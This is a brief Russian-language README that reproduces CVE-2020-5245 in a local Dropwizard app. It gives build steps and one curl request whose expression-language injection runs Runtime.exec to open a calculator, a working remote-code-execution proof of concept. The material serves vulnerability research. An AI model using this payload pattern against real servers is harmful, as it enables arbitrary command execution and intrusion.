CVE-2020-5245

CVE-2020-5245

1. Выполните mvn clean install для сборки приложения
2. Запустите приложение с помощью java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml
3. Чтобы проверить, что ваше приложение работает, введите url http://localhost:8080

некоторые ошибки в плагинах pom.xml не были затронуты при воспроизведении

Воспроизведение

curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}